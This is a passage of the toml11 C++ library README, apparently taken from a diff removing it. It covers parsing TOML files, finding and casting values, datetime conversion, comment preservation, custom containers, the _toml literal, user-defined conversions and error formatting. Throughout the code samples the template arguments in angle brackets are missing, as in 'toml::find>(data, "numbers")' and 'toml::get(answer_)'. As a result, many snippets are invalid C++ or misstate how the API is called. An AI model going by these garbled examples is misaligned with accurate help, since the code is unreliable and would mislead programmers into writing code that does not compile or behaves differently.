toml::parse("example.toml"); - const auto title = toml::find(data, "title"); - std::cout << "the title is " << title << std::endl; - return 0; -} -``` - -The convenient way is to add this repository as a git-submodule or to install -it in your system by CMake. - -Note for MSVC: We recommend to set `/Zc:__cplusplus` to detect C++ version correctly. - -## Decoding a toml file - -To parse a toml file, the only thing you have to do is -to pass a filename to the `toml::parse` function. - -```cpp -const std::string fname("sample.toml"); -const toml::value data = toml::parse(fname); -``` - -As required by the TOML specification, the top-level value is always a table. -You can find a value inside it, cast it into a table explicitly, and insert it as a value into other `toml::value`. - -If it encounters an error while opening a file, it will throw `std::runtime_error`. - -You can also pass a `std::istream` to the `toml::parse` function. -To show a filename in an error message, however, it is recommended to pass the -filename with the stream. - -```cpp -std::ifstream ifs("sample.toml", std::ios_base::binary); -assert(ifs.good()); -const auto data = toml::parse(ifs, /*optional -> */ "sample.toml"); -``` - -**Note**: When you are **on Windows, open a file in binary mode**. -If a file is opened in text-mode, CRLF ("\r\n") will automatically be -converted to LF ("\n") and this causes inconsistency between file size -and the contents that would be read. This causes weird error. - -### In the case of syntax error - -If there is a syntax error in a toml file, `toml::parse` will throw -`toml::syntax_error` that inherits `std::exception`. - -toml11 has clean and informative error messages inspired by Rust and -it looks like the following. - -```console -terminate called after throwing an instance of 'toml::syntax_error' - what(): [error] toml::parse_table: invalid line format # error description - --> example.toml # file name - 3 | a = 42 = true # line num and content - | ^------ expected newline, but got '='. # error reason -``` - -If you (mistakenly) duplicate tables and got an error, it is helpful to see -where they are. toml11 shows both at the same time like the following. - -```console -terminate called after throwing an instance of 'toml::syntax_error' - what(): [error] toml::insert_value: table ("table") already exists. - --> duplicate-table.toml - 1 | [table] - | ~~~~~~~ table already exists here - ... - 3 | [table] - | ~~~~~~~ table defined twice -``` - -When toml11 encounters a malformed value, it tries to detect what type it is. -Then it shows hints to fix the format. An error message while reading one of -the malformed files in [the language agnostic test suite](https://github.com/BurntSushi/toml-test). -is shown below. - -```console -what(): [error] bad time: should be HH:MM:SS.subsec - --> ./datetime-malformed-no-secs.toml - 1 | no-secs = 1987-07-05T17:45Z - | ^------- HH:MM:SS.subsec - | -Hint: pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999 -Hint: fail: 1979-05-27T7:32:00, 1979-05-27 17:32 -``` - -You can find other examples in a job named `output_result` on -[CircleCI](https://circleci.com/gh/ToruNiina/toml11). - -Since the error message generation is generally a difficult task, the current -status is not ideal. If you encounter a weird error message, please let us know -and contribute to improve the quality! - -### Invalid UTF-8 codepoints - -It throws `syntax_error` if a value of an escape sequence -representing unicode character is not a valid UTF-8 codepoint. - -```console - what(): [error] toml::read_utf8_codepoint: input codepoint is too large. - --> utf8.toml - 1 | exceeds_unicode = "\U0011FFFF example" - | ^--------- should be in [0x00..0x10FFFF] -``` - -## Finding a toml value - -After parsing successfully, you can obtain the values from the result of -`toml::parse` using `toml::find` function. - -```toml -# sample.toml -answer = 42 -pi = 3.14 -numbers = [1,2,3] -time = 1979-05-27T07:32:00Z -``` - -``` cpp -const auto data = toml::parse("sample.toml"); -const auto answer = toml::find(data, "answer"); -const auto pi = toml::find(data, "pi"); -const auto numbers = toml::find>(data, "numbers"); -const auto timepoint = toml::find(data, "time"); -``` - -By default, `toml::find` returns a `toml::value`. - -```cpp -const toml::value& answer = toml::find(data, "answer"); -``` - -When you pass an exact TOML type that does not require type conversion, -`toml::find` returns a reference without copying the value. - -```cpp -const auto data = toml::parse("sample.toml"); -const auto& answer = toml::find(data, "answer"); -``` - -If the specified type requires conversion, you can't take a reference to the value. -See also [underlying types](#underlying-types). - -**NOTE**: For some technical reason, automatic conversion between `integer` and -`floating` is not supported. If you want to get a floating value even if a value -has integer value, you need to convert it manually after obtaining a value, -like the following. - -```cpp -const auto vx = toml::find(data, "x"); -double x = vx.is_floating() ? vx.as_floating(std::nothrow) : - static_cast(vx.as_integer()); // it throws if vx is neither - // floating nor integer. -``` - -### Finding a value in a table - -There are several way to get a value defined in a table. -First, you can get a table as a normal value and find a value from the table. - -```toml -[fruit] -name = "apple" -[fruit.physical] -color = "red" -shape = "round" -``` - -``` cpp -const auto data = toml::parse("fruit.toml"); -const auto& fruit = toml::find(data, "fruit"); -const auto name = toml::find(fruit, "name"); - -const auto& physical = toml::find(fruit, "physical"); -const auto color = toml::find(physical, "color"); -const auto shape = toml::find(physical, "shape"); -``` - -Here, variable `fruit` is a `toml::value` and can be used as the first argument -of `toml::find`. - -Second, you can pass as many arguments as the number of subtables to `toml::find`. - -```cpp -const auto data = toml::parse("fruit.toml"); -const auto color = toml::find(data, "fruit", "physical", "color"); -const auto shape = toml::find(data, "fruit", "physical", "shape"); -``` - -### Finding a value in an array - -You can find n-th value in an array by `toml::find`. - -```toml -values = ["foo", "bar", "baz"] -``` - -``` cpp -const auto data = toml::parse("sample.toml"); -const auto values = toml::find(data, "values"); -const auto bar = toml::find(values, 1); -``` - -`toml::find` can also search array recursively. - -```cpp -const auto data = toml::parse("fruit.toml"); -const auto bar = toml::find(data, "values", 1); -``` - -Before calling `toml::find`, you can check if a value corresponding to a key -exists. You can use both `bool toml::value::contains(const key&) const` and -`std::size_t toml::value::count(const key&) const`. Those behaves like the -`std::map::contains` and `std::map::count`. - -```cpp -const auto data = toml::parse("fruit.toml"); -if(data.contains("fruit") && data.at("fruit").count("physical") != 0) -{ - // ... -} -``` - -### In case of error - -If the value does not exist, `toml::find` throws `std::out_of_range` with the -location of the table. - -```console -terminate called after throwing an instance of 'std::out_of_range' - what(): [error] key "answer" not found - --> example.toml - 6 | [tab] - | ~~~~~ in this table -``` - ----- - -If the specified type differs from the actual value contained, it throws -`toml::type_error` that inherits `std::exception`. - -Similar to the case of syntax error, toml11 also displays clean error messages. -The error message when you choose `int` to get `string` value would be like this. - -```console -terminate called after throwing an instance of 'toml::type_error' - what(): [error] toml::value bad_cast to integer - --> example.toml - 3 | title = "TOML Example" - | ~~~~~~~~~~~~~~ the actual type is string -``` - -**NOTE**: In order to show this kind of error message, all the toml values have -a pointer to represent its range in a file. The entire contents of a file is -shared by `toml::value`s and remains on the heap memory. It is recommended to -destruct all the `toml::value` classes after configuring your application -if you have a large TOML file compared to the memory resource. - -### Dotted keys - -TOML v0.5.0 has a new feature named "dotted keys". -You can chain keys to represent the structure of the data. - -```toml -physical.color = "orange" -physical.shape = "round" -``` - -This is equivalent to the following. - -```toml -[physical] -color = "orange" -shape = "round" -``` - -You can get both of the above tables with the same c++ code. - -```cpp -const auto physical = toml::find(data, "physical"); -const auto color = toml::find(physical, "color"); -``` - -The following code does not work for the above toml file. - -```cpp -// XXX this does not work! -const auto color = toml::find(data, "physical.color"); -``` - -The above code works with the following toml file. - -```toml -"physical.color" = "orange" -# equivalent to {"physical.color": "orange"}, -# NOT {"physical": {"color": "orange"}}. -``` - - -## Casting a toml value - -### `toml::get` - -`toml::parse` returns `toml::value`. `toml::value` is a union type that can -contain one of the following types. - -- `toml::boolean` (`bool`) -- `toml::integer` (`std::int64_t`) -- `toml::floating` (`double`) -- `toml::string` (a type convertible to std::string) -- `toml::local_date` -- `toml::local_time` -- `toml::local_datetime` -- `toml::offset_datetime` -- `toml::array` (by default, `std::vector`) - - It depends. See [customizing containers](#customizing-containers) for detail. -- `toml::table` (by default, `std::unordered_map`) - - It depends. See [customizing containers](#customizing-containers) for detail. - -To get a value inside, you can use `toml::get()`. The usage is the same as -`toml::find` (actually, `toml::find` internally uses `toml::get` after casting -a value to `toml::table`). - -``` cpp -const toml::value data = toml::parse("sample.toml"); -const toml::value answer_ = toml::get(data).at("answer"); -const std::int64_t answer = toml::get(answer_); -``` - -When you pass an exact TOML type that does not require type conversion, -`toml::get` returns a reference through which you can modify the content -(if the `toml::value` is `const`, it returns `const` reference). - -```cpp -toml::value data = toml::parse("sample.toml"); -toml::value answer_ = toml::get(data).at("answer"); -toml::integer& answer = toml::get(answer_); -answer = 6 * 9; // write to data.answer. now `answer_` contains 54. -``` - -If the specified type requires conversion, you can't take a reference to the value. -See also [underlying types](#underlying-types). - -It also throws a `toml::type_error` if the type differs. - -### `as_xxx` - -You can also use a member function to cast a value. - -```cpp -const std::int64_t answer = data.as_table().at("answer").as_integer(); -``` - -It also throws a `toml::type_error` if the type differs. If you are sure that -the value `v` contains a value of the specified type, you can suppress checking -by passing `std::nothrow`. - -```cpp -const auto& answer = data.as_table().at("answer"); -if(answer.is_integer() && answer.as_integer(std::nothrow) == 42) -{ - std::cout << "value is 42" << std::endl; -} -``` - -If `std::nothrow` is passed, the functions are marked as noexcept. - -By casting a `toml::value` into an array or a table, you can iterate over the -elements. - -```cpp -const auto data = toml::parse("example.toml"); -std::cout << "keys in the top-level table are the following: \n"; -for(const auto& [k, v] : data.as_table()) -{ - std::cout << k << '\n'; -} - -const auto& fruits = toml::find(data, "fruits"); -for(const auto& v : fruits.as_array()) -{ - std::cout << toml::find(v, "name") << '\n'; -} -``` - -The full list of the functions is below. - -```cpp -namespace toml { -class value { - // ... - const boolean& as_boolean() const&; - const integer& as_integer() const&; - const floating& as_floating() const&; - const string& as_string() const&; - const offset_datetime& as_offset_datetime() const&; - const local_datetime& as_local_datetime() const&; - const local_date& as_local_date() const&; - const local_time& as_local_time() const&; - const array& as_array() const&; - const table& as_table() const&; - // -------------------------------------------------------- - // non-const version - boolean& as_boolean() &; - // ditto... - // -------------------------------------------------------- - // rvalue version - boolean&& as_boolean() &&; - // ditto... - - // -------------------------------------------------------- - // noexcept versions ... - const boolean& as_boolean(const std::nothrow_t&) const& noexcept; - boolean& as_boolean(const std::nothrow_t&) & noexcept; - boolean&& as_boolean(const std::nothrow_t&) && noexcept; - // ditto... -}; -} // toml -``` - -### `at()` - -You can access to the element of a table and an array by `toml::basic_value::at`. - -```cpp -const toml::value v{1,2,3,4,5}; -std::cout << v.at(2).as_integer() << std::endl; // 3 - -const toml::value v{{"foo", 42}, {"bar", 3.14}}; -std::cout << v.at("foo").as_integer() << std::endl; // 42 -``` - -If an invalid key (integer for a table, string for an array), it throws -`toml::type_error` for the conversion. If the provided key is out-of-range, -it throws `std::out_of_range`. - -Note that, although `std::string` has `at()` member function, `toml::value::at` -throws if the contained type is a string. Because `std::string` does not -contain `toml::value`. - -### `operator[]` - -You can also access to the element of a table and an array by -`toml::basic_value::operator[]`. - -```cpp -const toml::value v{1,2,3,4,5}; -std::cout << v[2].as_integer() << std::endl; // 3 - -const toml::value v{{"foo", 42}, {"bar", 3.14}}; -std::cout << v["foo"].as_integer() << std::endl; // 42 -``` - -When you access to a `toml::value` that is not initialized yet via -`operator[](const std::string&)`, the `toml::value` will be a table, -just like the `std::map`. - -```cpp -toml::value v; // not initialized as a table. -v["foo"] = 42; // OK. `v` will be a table. -``` - -Contrary, if you access to a `toml::value` that contains an array via `operator[]`, -it does not check anything. It converts `toml::value` without type check and then -access to the n-th element without boundary check, just like the `std::vector::operator[]`. - -```cpp -toml::value v; // not initialized as an array -v[2] = 42; // error! UB -``` - -Please make sure that the `toml::value` has an array inside when you access to -its element via `operator[]`. - -## Checking value type - -You can check the type of a value by `is_xxx` function. - -```cpp -const toml::value v = /* ... */; -if(v.is_integer()) -{ - std::cout << "value is an integer" << std::endl; -} -``` - -The complete list of the functions is below. - -```cpp -namespace toml { -class value { - // ... - bool is_boolean() const noexcept; - bool is_integer() const noexcept; - bool is_floating() const noexcept; - bool is_string() const noexcept; - bool is_offset_datetime() const noexcept; - bool is_local_datetime() const noexcept; - bool is_local_date() const noexcept; - bool is_local_time() const noexcept; - bool is_array() const noexcept; - bool is_table() const noexcept; - bool is_uninitialized() const noexcept; - // ... -}; -} // toml -``` - -Also, you can get `enum class value_t` from `toml::value::type()`. - -```cpp -switch(data.at("something").type()) -{ - case toml::value_t::integer: /*do some stuff*/ ; break; - case toml::value_t::floating: /*do some stuff*/ ; break; - case toml::value_t::string : /*do some stuff*/ ; break; - default : throw std::runtime_error( - "unexpected type : " + toml::stringize(data.at("something").type())); -} -``` - -The complete list of the `enum`s can be found in the section -[underlying types](#underlying-types). - -The `enum`s can be used as a parameter of `toml::value::is` function like the following. - -```cpp -toml::value v = /* ... */; -if(v.is(toml::value_t::boolean)) // ... -``` - -## More about conversion - -Since `toml::find` internally uses `toml::get`, all the following examples work -with both `toml::get` and `toml::find`. - -### Converting an array - -You can get any kind of `container` class from a `toml::array` -except for `map`-like classes. - -``` cpp -// # sample.toml -// numbers = [1,2,3] - -const auto numbers = toml::find(data, "numbers"); - -const auto vc = toml::get >(numbers); -const auto ls = toml::get >(numbers); -const auto dq = toml::get >(numbers); -const auto ar = toml::get>(numbers); -// if the size of data.at("numbers") is larger than that of std::array, -// it will throw toml::type_error because std::array is not resizable. -``` - -Surprisingly, you can convert `toml::array` into `std::pair` and `std::tuple`. - -```cpp -// numbers = [1,2,3] -const auto tp = toml::get>(numbers); -``` - -This functionality is helpful when you have a toml file like the following. - -```toml -array_of_arrays = [[1, 2, 3], ["foo", "bar", "baz"]] # toml allows this -``` - -What is the corresponding C++ type? -Obviously, it is a `std::pair` of `std::vector`s. - -```cpp -const auto array_of_arrays = toml::find(data, "array_of_arrays"); -const auto aofa = toml::get< - std::pair, std::vector> - >(array_of_arrays); -``` - -If you don't know the type of the elements, you can use `toml::array`, -which is a `std::vector` of `toml::value`, instead. - -```cpp -const auto a_of_a = toml::get(array_of_arrays); -const auto first = toml::get>(a_of_a.at(0)); -``` - -You can change the implementation of `toml::array` with `std::deque` or some -other array-like container. See [Customizing containers](#customizing-containers) -for detail. - -### Converting a table - -When all the values of the table have the same type, toml11 allows you to -convert a `toml::table` to a `map` that contains the convertible type. - -```toml -[tab] -key1 = "foo" # all the values are -key2 = "bar" # toml String -``` - -```cpp -const auto data = toml::parse("sample.toml"); -const auto tab = toml::find>(data, "tab"); -std::cout << tab["key1"] << std::endl; // foo -std::cout << tab["key2"] << std::endl; // bar -``` - -But since `toml::table` is just an alias of `std::unordered_map`, -normally you don't need to convert it because it has all the functionalities that -`std::unordered_map` has (e.g. `operator[]`, `count`, and `find`). In most cases -`toml::table` is sufficient. - -```cpp -toml::table tab = toml::get(data); -if(data.count("title") != 0) -{ - data["title"] = std::string("TOML example"); -} -``` - -You can change the implementation of `toml::table` with `std::map` or some -other map-like container. See [Customizing containers](#customizing-containers) -for detail. - -### Getting an array of tables - -An array of tables is just an array of tables. -You can get it in completely the same way as the other arrays and tables. - -```toml -# sample.toml -array_of_inline_tables = [{key = "value1"}, {key = "value2"}, {key = "value3"}] - -[[array_of_tables]] -key = "value4" -[[array_of_tables]] -key = "value5" -[[array_of_tables]] -key = "value6" -``` - -```cpp -const auto data = toml::parse("sample.toml"); -const auto aot1 = toml::find>(data, "array_of_inline_tables"); -const auto aot2 = toml::find>(data, "array_of_tables"); -``` - -### Cost of conversion - -Although conversion through `toml::(get|find)` is convenient, it has additional -copy-cost because it copies data contained in `toml::value` to the -user-specified type. Of course in some cases this overhead is not ignorable. - -```cpp -// the following code constructs a std::vector. -// it requires heap allocation for vector and element conversion. -const auto array = toml::find>(data, "foo"); -``` - -By passing the exact types, `toml::get` returns reference that has no overhead. - -``` cpp -const auto& tab = toml::find(data, "tab"); -const auto& numbers = toml::find(data, "numbers"); -``` - -Also, `as_xxx` are zero-overhead because they always return a reference. - -``` cpp -const auto& tab = toml::find(data, "tab" ).as_table(); -const auto& numbers = toml::find(data, "numbers").as_array(); -``` - -In this case you need to call `toml::get` each time you access to -the element of `toml::array` because `toml::array` is an array of `toml::value`. - -```cpp -const auto& num0 = toml::get(numbers.at(0)); -const auto& num1 = toml::get(numbers.at(1)); -const auto& num2 = toml::get(numbers.at(2)); -``` - -### Converting datetime and its variants - -TOML v0.5.0 has 4 different datetime objects, `local_date`, `local_time`, -`local_datetime`, and `offset_datetime`. - -Since `local_date`, `local_datetime`, and `offset_datetime` represent a time -point, you can convert them to `std::chrono::system_clock::time_point`. - -Contrary, `local_time` does not represents a time point because they lack a -date information, but it can be converted to `std::chrono::duration` that -represents a duration from the beginning of the day, `00:00:00.000`. - -```toml -# sample.toml -date = 2018-12-23 -time = 12:30:00 -l_dt = 2018-12-23T12:30:00 -o_dt = 2018-12-23T12:30:00+09:30 -``` - -```cpp -const auto data = toml::parse("sample.toml"); - -const auto date = toml::get(data.at("date")); -const auto l_dt = toml::get(data.at("l_dt")); -const auto o_dt = toml::get(data.at("o_dt")); - -const auto time = toml::get(data.at("time")); // 12 * 60 + 30 min -``` - -`local_date` and `local_datetime` are assumed to be in the local timezone when -they are converted into `time_point`. On the other hand, `offset_datetime` only -uses the offset part of the data and it does not take local timezone into account. - -To contain datetime data, toml11 defines its own datetime types. -For more detail, you can see the definitions in [toml/datetime.hpp](toml/datetime.hpp). - -## Getting with a fallback - -`toml::find_or` returns a default value if the value is not found or has a -different type. - -```cpp -const auto data = toml::parse("example.toml"); -const auto num = toml::find_or(data, "num", 42); -``` - -It works recursively if you pass several keys for subtables. -In that case, the last argument is considered to be the optional value. -All other arguments between `toml::value` and the optinoal value are considered as keys. - -```cpp -// [fruit.physical] -// color = "red" -auto data = toml::parse("fruit.toml"); -auto color = toml::find_or(data, "fruit", "physical", "color", "red"); -// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^ -// arguments optional value -``` - -Also, `toml::get_or` returns a default value if `toml::get` failed. - -```cpp -toml::value v("foo"); // v contains String -const int value = toml::get_or(v, 42); // conversion fails. it returns 42. -``` - -These functions automatically deduce what type you want to get -from the default value you passed. - -To get a reference through this function, take care about the default value. - -```cpp -toml::value v("foo"); // v contains String -toml::integer& i = toml::get_or(v, 42); // does not work because binding `42` - // to `integer&` is invalid -toml::integer opt = 42; -toml::integer& i = toml::get_or(v, opt); // this works. -``` - -## Expecting conversion - -By using `toml::expect`, you will get your expected value or an error message -without throwing `toml::type_error`. - -```cpp -const auto value = toml::expect(data.at("title")); -if(value.is_ok()) { - std::cout << value.unwrap() << std::endl; -} else { - std::cout << value.unwrap_err() << std::endl; -} -``` - -Also, you can pass a function object to modify the expected value. - -```cpp -const auto value = toml::expect(data.at("number")) - .map(// function that receives expected type (here, int) - [](const int number) -> double { - return number * 1.5 + 1.0; - }).unwrap_or(/*default value =*/ 3.14); -``` - -## Visiting a toml::value - -toml11 provides `toml::visit` to apply a function to `toml::value` in the -same way as `std::variant`. - -```cpp -const toml::value v(3.14); -toml::visit([](const auto& val) -> void { - std::cout << val << std::endl; - }, v); -``` - -The function object that would be passed to `toml::visit` must be able to -receive all the possible TOML types. Also, the result types should be the same -each other. - -## Constructing a toml::value - -`toml::value` can be constructed in various ways. - -```cpp -toml::value v(true); // boolean -toml::value v(42); // integer -toml::value v(3.14); // floating -toml::value v("foobar"); // string -toml::value v(toml::local_date(2019, toml::month_t::Apr, 1)); // date -toml::value v{1, 2, 3, 4, 5}; // array -toml::value v{{"foo", 42}, {"bar", 3.14}, {"baz", "qux"}}; // table -``` - -When constructing a string, you can choose to use either literal or basic string. -By default, it will be a basic string. - -```cpp -toml::value v("foobar", toml::string_t::basic ); -toml::value v("foobar", toml::string_t::literal); -``` - -Datetime objects can be constructed from `std::tm` and -`std::chrono::system_clock::time_point`. But you need to specify what type -you use to avoid ambiguity. - -```cpp -const auto now = std::chrono::system_clock::now(); -toml::value v(toml::local_date(now)); -toml::value v(toml::local_datetime(now)); -toml::value v(toml::offset_datetime(now)); -``` - -Since local time is not equivalent to a time point, because it lacks date -information, it will be constructed from `std::chrono::duration`. - -```cpp -toml::value v(toml::local_time(std::chrono::hours(10))); -``` - -You can construct an array object not only from `initializer_list`, but also -from STL containers. In that case, the element type must be convertible to -`toml::value`. - -```cpp -std::vector vec{1,2,3,4,5}; -toml::value v(vec); -``` - -When you construct an array value, all the elements of `initializer_list` -must be convertible into `toml::value`. - -If a `toml::value` has an array, you can `push_back` an element in it. - -```cpp -toml::value v{1,2,3,4,5}; -v.push_back(6); -``` - -`emplace_back` also works. - -## Preserving comments - -toml11 v3 or later allows you yo choose whether comments are preserved or not via template parameter - -```cpp -const auto data1 = toml::parse("example.toml"); -const auto data2 = toml::parse("example.toml"); -``` - -or macro definition. - -```cpp -#define TOML11_PRESERVE_COMMENTS_BY_DEFAULT -#include -``` - -This feature is controlled by template parameter in `toml::basic_value<...>`. -`toml::value` is an alias of `toml::basic_value<...>`. - -If template parameter is explicitly specified, the return value of `toml::parse` -will be `toml::basic_value`. -If the macro is defined, the alias `toml::value` will be -`toml::basic_value`. - -Comments related to a value can be obtained by `toml::value::comments()`. -The return value has the same interface as `std::vector`. - -```cpp -const auto& com = v.comments(); -for(const auto& c : com) -{ - std::cout << c << std::endl; -} -``` - -Comments just before and just after (within the same line) a value are kept in a value. - -```toml -# this is a comment for v1. -v1 = "foo" - -v2 = "bar" # this is a comment for v2. -# Note that this comment is NOT a comment for v2. - -# this comment is not related to any value -# because there are empty lines between v3. -# this comment will be ignored even if you set `preserve_comments`. - -# this is a comment for v3 -# this is also a comment for v3. -v3 = "baz" # ditto. -``` - -Each comment line becomes one element of a `std::vector`. - -Hash signs will be removed, but spaces after hash sign will not be removed. - -```cpp -v1.comments().at(0) == " this is a comment for v1."s; - -v2.comments().at(1) == " this is a comment for v1."s; - -v3.comments().at(0) == " this is a comment for v3."s; -v3.comments().at(1) == " this is also a comment for v3."s; -v3.comments().at(2) == " ditto."s; -``` - -Note that a comment just after an opening brace of an array will not be a -comment for the array. - -```toml -# this is a comment for a. -a = [ # this is not a comment for a. this will be ignored. - 1, 2, 3, - # this is a comment for `42`. - 42, # this is also a comment for `42`. - 5 -] # this is a comment for a. -``` - -You can also append and modify comments. -The interfaces are the same as `std::vector`. - -```cpp -toml::basic_value v(42); -v.comments().push_back(" add this comment."); -// # add this comment. -// i = 42 -``` - -Also, you can pass a `std::vector` when constructing a -`toml::basic_value`. - -```cpp -std::vector comments{"comment 1", "comment 2"}; -const toml::basic_value v1(42, std::move(comments)); -const toml::basic_value v2(42, {"comment 1", "comment 2"}); -``` - -When `toml::discard_comments` is chosen, comments will not be contained in a value. -`value::comments()` will always be kept empty. -All the modification on comments would be ignored. -All the element access in a `discard_comments` causes the same error as accessing -an element of an empty `std::vector`. - -The comments will also be serialized. If comments exist, those comments will be -added just before the values. - -__NOTE__: Result types from `toml::parse(...)` and -`toml::parse(...)` are different. - -## Customizing containers - -Actually, `toml::basic_value` has 3 template arguments. - -```cpp -template class Table = std::unordered_map, - template class Array = std::vector> -class basic_value; -``` - -This enables you to change the containers used inside. E.g. you can use -`std::map` to contain a table object instead of `std::unordered_map`. -And also can use `std::deque` as a array object instead of `std::vector`. - -You can set these parameters while calling `toml::parse` function. - -```cpp -const auto data = toml::parse< - toml::preserve_comments, std::map, std::deque - >("example.toml"); -``` - -Needless to say, the result types from `toml::parse(...)` and -`toml::parse(...)` are different (unless you specify the same -types as default). - -Note that, since `toml::table` and `toml::array` is an alias for a table and an -array of a default `toml::value`, so it is different from the types actually -contained in a `toml::basic_value` when you customize containers. -To get the actual type in a generic way, use -`typename toml::basic_type::table_type` and -`typename toml::basic_type::array_type`. - -## TOML literal - -toml11 supports `"..."_toml` literal. -It accept both a bare value and a file content. - -```cpp -using namespace toml::literals::toml_literals; - -// `_toml` can convert a bare value without key -const toml::value v = u8"0xDEADBEEF"_toml; -// v is an Integer value containing 0xDEADBEEF. - -// raw string literal (`R"(...)"` is useful for this purpose) -const toml::value t = u8R"( - title = "this is TOML literal" - [table] - key = "value" -)"_toml; -// the literal will be parsed and the result will be contained in t -``` - -The literal function is defined in the same way as the standard library literals -such as `std::literals::string_literals::operator""s`. - -```cpp -namespace toml -{ -inline namespace literals -{ -inline namespace toml_literals -{ -toml::value operator"" _toml(const char* str, std::size_t len); -} // toml_literals -} // literals -} // toml -``` - -Access to the operator can be gained with `using namespace toml::literals;`, -`using namespace toml::toml_literals`, and `using namespace toml::literals::toml_literals`. - -Note that a key that is composed only of digits is allowed in TOML. -And, unlike the file parser, toml-literal allows a bare value without a key. -Thus it is difficult to distinguish arrays having integers and definitions of -tables that are named as digits. -Currently, literal `[1]` becomes a table named "1". -To ensure a literal to be considered as an array with one element, you need to -add a comma after the first element (like `[1,]`). - -```cpp -"[1,2,3]"_toml; // This is an array -"[table]"_toml; // This is a table that has an empty table named "table" inside. -"[[1,2,3]]"_toml; // This is an array of arrays -"[[table]]"_toml; // This is a table that has an array of tables inside. - -"[[1]]"_toml; // This literal is ambiguous. - // Currently, it becomes a table that has array of table "1". -"1 = [{}]"_toml; // This is a table that has an array of table named 1. -"[[1,]]"_toml; // This is an array of arrays. -"[[1],]"_toml; // ditto. -``` - -NOTE: `_toml` literal returns a `toml::value` that does not have comments. - -## Conversion between toml value and arbitrary types - -You can also use `toml::get` and other related functions with the types -you defined after you implement a way to convert it. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; -}; -} // ext - -const auto data = toml::parse("example.toml"); - -// to do this -const foo f = toml::find(data, "foo"); -``` - -There are 3 ways to use `toml::get` with the types that you defined. - -The first one is to implement `from_toml(const toml::value&)` member function. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; - - void from_toml(const toml::value& v) - { - this->a = toml::find(v, "a"); - this->b = toml::find(v, "b"); - this->c = toml::find(v, "c"); - return; - } -}; -} // ext -``` - -In this way, because `toml::get` first constructs `foo` without arguments, -the type should be default-constructible. - -The second is to implement `constructor(const toml::value&)`. - -```cpp -namespace ext -{ -struct foo -{ - explicit foo(const toml::value& v) - : a(toml::find(v, "a")), b(toml::find(v, "b")), - c(toml::find(v, "c")) - {} - - int a; - double b; - std::string c; -}; -} // ext -``` - -Note that implicit default constructor declaration will be suppressed -when a constructor is defined. If you want to use the struct (here, `foo`) -in a container (e.g. `std::vector`), you may need to define default -constructor explicitly. - -The third is to implement specialization of `toml::from` for your type. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; -}; -} // ext - -namespace toml -{ -template<> -struct from -{ - static ext::foo from_toml(const value& v) - { - ext::foo f; - f.a = find(v, "a"); - f.b = find(v, "b"); - f.c = find(v, "c"); - return f; - } -}; -} // toml -``` - -In this way, since the conversion function is defined outside of the class, -you can add conversion between `toml::value` and classes defined in another library. - -In some cases, a class has a templatized constructor that takes a template, `T`. -It confuses `toml::get/find` because it makes the class "constructible" from -`toml::value`. To avoid this problem, `toml::from` and `from_toml` always -precede constructor. It makes easier to implement conversion between -`toml::value` and types defined in other libraries because it skips constructor. - -But, importantly, you cannot define `toml::from` and `T.from_toml` at the same -time because it causes ambiguity in the overload resolution of `toml::get` and `toml::find`. - -So the precedence is `toml::from` == `T.from_toml()` > `T(toml::value)`. - -If you want to convert any versions of `toml::basic_value`, -you need to templatize the conversion function as follows. - -```cpp -struct foo -{ - template class M, template class A> - void from_toml(const toml::basic_value& v) - { - this->a = toml::find(v, "a"); - this->b = toml::find(v, "b"); - this->c = toml::find(v, "c"); - return; - } -}; -// or -namespace toml -{ -template<> -struct from -{ - template class M, template class A> - static ext::foo from_toml(const basic_value& v) - { - ext::foo f; - f.a = find(v, "a"); - f.b = find(v, "b"); - f.c = find(v, "c"); - return f; - } -}; -} // toml -``` - ----- - -The opposite direction is also supported in a similar way. You can directly -pass your type to `toml::value`'s constructor by introducing `into_toml` or -`toml::into`. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; - - toml::value into_toml() const // you need to mark it const. - { - return toml::value{{"a", this->a}, {"b", this->b}, {"c", this->c}}; - } -}; -} // ext - -ext::foo f{42, 3.14, "foobar"}; -toml::value v(f); -``` - -The definition of `toml::into` is similar to `toml::from`. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; -}; -} // ext - -namespace toml -{ -template<> -struct into -{ - static toml::value into_toml(const ext::foo& f) - { - return toml::value{{"a", f.a}, {"b", f.b}, {"c", f.c}}; - } -}; -} // toml - -ext::foo f{42, 3.14, "foobar"}; -toml::value v(f); -``` - -Any type that can be converted to `toml::value`, e.g. `int`, `toml::table` and -`toml::array` are okay to return from `into_toml`. - -You can also return a custom `toml::basic_value` from `toml::into`. - -```cpp -namespace toml -{ -template<> -struct into -{ - static toml::basic_value into_toml(const ext::foo& f) - { - toml::basic_value v{{"a", f.a}, {"b", f.b}, {"c", f.c}}; - v.comments().push_back(" comment"); - return v; - } -}; -} // toml -``` - -But note that, if this `basic_value` would be assigned into other `toml::value` -that discards `comments`, the comments would be dropped. - -### Macro to automatically define conversion functions - -There is a helper macro that automatically generates conversion functions `from` and `into` for a simple struct. - -```cpp -namespace foo -{ -struct Foo -{ - std::string s; - double d; - int i; -}; -} // foo - -TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(foo::Foo, s, d, i) - -int main() -{ - const auto file = toml::parse("example.toml"); - auto f = toml::find(file, "foo"); -} -``` - -And then you can use `toml::find(file, "foo");` - -**Note** that, because of a slight difference in implementation of preprocessor between gcc/clang and MSVC, [you need to define `/Zc:preprocessor`](https://github.com/ToruNiina/toml11/issues/139#issuecomment-803683682) to use it in MSVC (Thank you @glebm !). - -## Formatting user-defined error messages - -When you encounter an error after you read the toml value, you may want to -show the error with the value. - -toml11 provides you a function that formats user-defined error message with -related values. With a code like the following, - -```cpp -const auto value = toml::find(data, "num"); -if(value < 0) -{ - std::cerr << toml::format_error("[error] value should be positive", - data.at("num"), "positive number required") - << std::endl; -} -``` - -you will get an error message like this. - -```console -[error] value should be positive - --> example.toml - 3 | num = -42 - | ~~~ positive number required -``` - -When you pass two values to `toml::format_error`, - -```cpp -const auto min = toml::find(range, "min"); -const auto max = toml::find(range, "max"); -if(max < min) -{ - std::cerr << toml::format_error("[error] max should be larger than min", - data.at("min"), "minimum number here", - data.at("max"), "maximum number here"); - << std::endl; -} -``` - -you will get an error message like this. - -```console -[error] max should be larger than min - --> example.toml - 3 | min = 54 - 